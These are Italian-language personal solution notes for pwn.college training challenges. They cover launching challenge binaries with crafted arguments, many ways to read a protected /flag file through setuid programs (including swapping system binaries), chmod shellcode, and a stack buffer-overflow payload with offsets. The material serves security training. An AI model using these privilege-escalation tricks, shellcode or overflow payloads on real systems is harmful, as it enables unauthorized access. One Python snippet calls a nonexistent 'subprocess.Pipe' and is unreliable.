

Soluzioni PwnCollege Minmali

Embryoio

Bash

Argomenti e variabili d'ambiente

```
#!/bin/bash
```

```
args=()
for i in $(seq 1 232); do
    args+=("vwnpunjpdv")
done

env -i 232=mlzuoxmqoz /challenge/embryoio_level71 "${args[@]}"
```

C

Libreria da usare con tutto:

```
#include <stddef.h>
```

Argomenti e variabili d'ambiente

```
#include <stddef.h>
```

```
void pwncollege(){

    if (fork()==0){
        char *args[168];
        for (int i=0; i < 168; i++){
            args[i] = "smdznaebvx";
        }
        char *env[] = {"150=xhcfvpgqrn", NULL};
        execve("/challenge/embryoio_level83", args, env);
    }else wait(NULL);

}

void main(){
    pwncollege();
}
```

PIPE

```
#include <stddef.h>
```

```
void pwncollege(){
```

```

int fd[2];
pipe(fd);

if (fork()==0){
    dup2(fd[1], 1);
    close(fd[0]);
    execlp("/challenge/embryoio_level60", "/challenge/embryoio_level60", NULL);
}

if (fork()==0){
    dup2(fd[0], 0);
    close(fd[1]);
    execlp("cat", "cat", NULL);
}

close(fd[0]);
close(fd[1]);
wait(NULL);
}

void main(){
    pwncollege();
}

```

Python

Argomenti e variabili d'ambiente

```

import subprocess

c = [""]*331
c[0]="/challenge/embryoio_level77"
c[330]="nwazucfbl"
subprocess.run(c, env={"319": "fybniebwtz"})

```

Setuid

Casi particolari:

```

base32 /flag | base32 -d

# Divide la flag in altri file che ho il permesso di leggere
split /flag
cat xaa

gzip /flag
gzip -dc /flag.gz

```

```

zip /flag.zip /flag
unzip -p /flag.zip

tar -cf /flag.tar /flag
tar -xOf /flag.tar

ar r flag.a /flag
ar p flag.a

find /flag | cpio -o > flag.cpio
cpio -i --to-stdout < flag.cpio

genisoimage -sort /flag

# Creo un file makefile da GUI oppure con touch makefile. Al suo interno

print:
    cat /flag

# Poi eseguo. Il nome della funzione in makefile è totalmente arbitrario
make print

timeout 0 cat /flag

stdbuf -o0 cat /flag

setarch linux64 cat /flag

socat FILE:/flag STDOUT

awk 1 /flag

sed ' ' /flag

# Versione interattiva: avvia ed
ed /flag
# Nella chat ed:
1,$p

# Versione diretta
ed /flag <<< '1,$p'

chown hacker /flag
cat /flag

cp /flag /dev/stdout

# Scambio i comandi mv e cat così che eseguendo mv eseguo cat
/challenge/babysuid_level40; mv /usr/bin/cat /usr/bin/mv; /challenge/babysuid_level40; mv /usr/bin/mv /usr/bin/cat

wc --files0-from=/flag

gcc -E -x c /flag

wget -i /flag

```

Embryoasm

Esercizi fattibili da soli: 1, 2, 3, 4, 6, 10, 11, 12, 14, 15

5: basta ricordare che nella div il resto è in rdx

7:

Using only the following instructions: mov, shr, shl Please perform the following:
Set rax to the 5th least significant byte of rdi i.e. $rdi = | B7 | B6 | B5 | B4 | B3 | B2 | B1 | B0 |$ Set rax to the value of B4

```
.intel_syntax noprefix
```

```
.global _start
```

```
.section .text
```

```
_start:
```

```
    mov rax, rdi
```

```
    shr rax, 32
```

```
    shl rax, 56
```

```
    shr rax, 56
```

8:

Without using the following instructions: mov, xchg Please perform the following:
rax = rdi AND rsi i.e. Set rax to the value of (rdi AND rsi)

```
.intel_syntax noprefix
```

```
.global _start
```

```
.section .text
```

```
_start:
```

```
    xor rax, rax
```

```
    or rax, rdi
```

```
    and rax, rsi
```

9 :

Using only the following instructions: and, or, xor Implement the following logic:

if x is even then y = 1 else y = 0 where: x = rdi y = rax

```
.intel_syntax noprefix
```

```
.global _start
```

```
.section .text
```

```
_start:
```

```
    xor rax, rax
```

```

    or rax, 1
    and rdi, 1
    xor rax, rdi

```

13:

Perform the following: 1. load two consecutive quad words from the address stored in rdi 2. calculate the sum of the previous steps quad words. 3. store the sum at the address in rsi

```

.intel_syntax noprefix

.global _start
.section .text

_start:
    mov rax, [rdi]
    mov rdx, [rdi+8]
    add rax, rdx
    mov [rsi], rax

```

16:

Without using pop please calculate the average of 4 consecutive quad words stored on the stack. Store the average on the top of the stack. Hint: RSP+0x?? Quad Word A RSP+0x?? Quad Word B RSP+0x?? Quad Word C RSP Quad Word D RSP-0x?? Average

```

.intel_syntax noprefix

.global _start
.section .text

_start:
    mov rax, [rsp]
    add rax, [rsp+8]
    add rax, [rsp+16]
    add rax, [rsp+24]
    shr rax, 2
    push rax

```

17:

```

.intel_syntax noprefix

.global _start
.section .text

_start:
    jmp trampoline

```

```

    .rept 0x51
        nop
    .endr

trampoline:
    pop rdi
    push 0x403000
    ret

```

Babysheell

```
ls -s /flag F
```

Soluzione generale (chmod):

```
.intel_syntax noprefix
```

```
.global _start
.section .text
```

```
_start:
    push 0x46
    mov rdi, rsp
    mov sil, 4
    mov al, 90
    syscall

```

Valido per: 1, 3, 7, 8, 10, 11, 12, 13

Per saltare dei byte:

```

.rept 0x800
    nop
.endr

```

Usato in: 2, 6

Per evitare di usare syscall

```
dec byte ptr [rip+1]
clts
```

Usato in: 5, 6

Casi speciali:

Es 4 al posto di

```
mov rdi, rsp
```

faccio

```

push rsp
pop rdi

Es 9

.intel_syntax noprefix

.global _start
.section .text

_start:
    push 0x46
    mov rdi, rsp
    mov sil, 4
    jmp next
    .rept 10
        nop
    .endr

next:
    mov al, 90
    syscall

```

Compilo con:

```

gcc -nostdlib -static -o babyshell babyshell.s
objcopy --dump-section .text=babyshell.txt babyshell
cat babyshell.txt | /challenge/babyshell_level*

```

Memory Errors

```

import subprocess, sys

payload = b"A"*120 + b"\x00\x00\x00\x00\x00\x00\x00\x00"
data = str(len(payload)).encode() + b"\n" + payload

p = subprocess.Pipe("/challenge/babymem_1.1", stdin=subprocess.PIPE, stdout=sys.stdout)
p.stdin.write(data)

```

Esercizi

- 1.1 Overflow Bruteforce con 500 (numero giusto 29)
- 2.1 Overflow Bruteforce con 500 (numero giusto 481)
- 3.1 120 + Indirizzo, inizio buffer in rbp-0x70. Return Address è rbp - 0x8. p/d 0x8 + 0x70 = 120 + indirizzo
- 4.1 72 + indirizzo e -1 len, inizio buffer in rbp-0x40. Return Address è rbp - 0x8. p/d 0x8 + 0x40 = 72 + indirizzo. Check su len < 41 metti -1